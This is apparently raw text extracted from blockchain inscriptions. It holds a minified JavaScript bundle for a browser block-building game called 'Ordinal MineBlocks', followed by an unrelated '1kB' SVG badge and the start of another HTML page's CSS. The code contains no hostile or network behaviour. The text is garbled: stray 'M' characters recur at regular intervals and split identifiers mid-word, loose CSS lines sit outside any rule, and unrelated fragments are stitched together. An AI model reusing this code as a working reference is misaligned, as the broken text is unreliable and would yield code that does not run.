r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
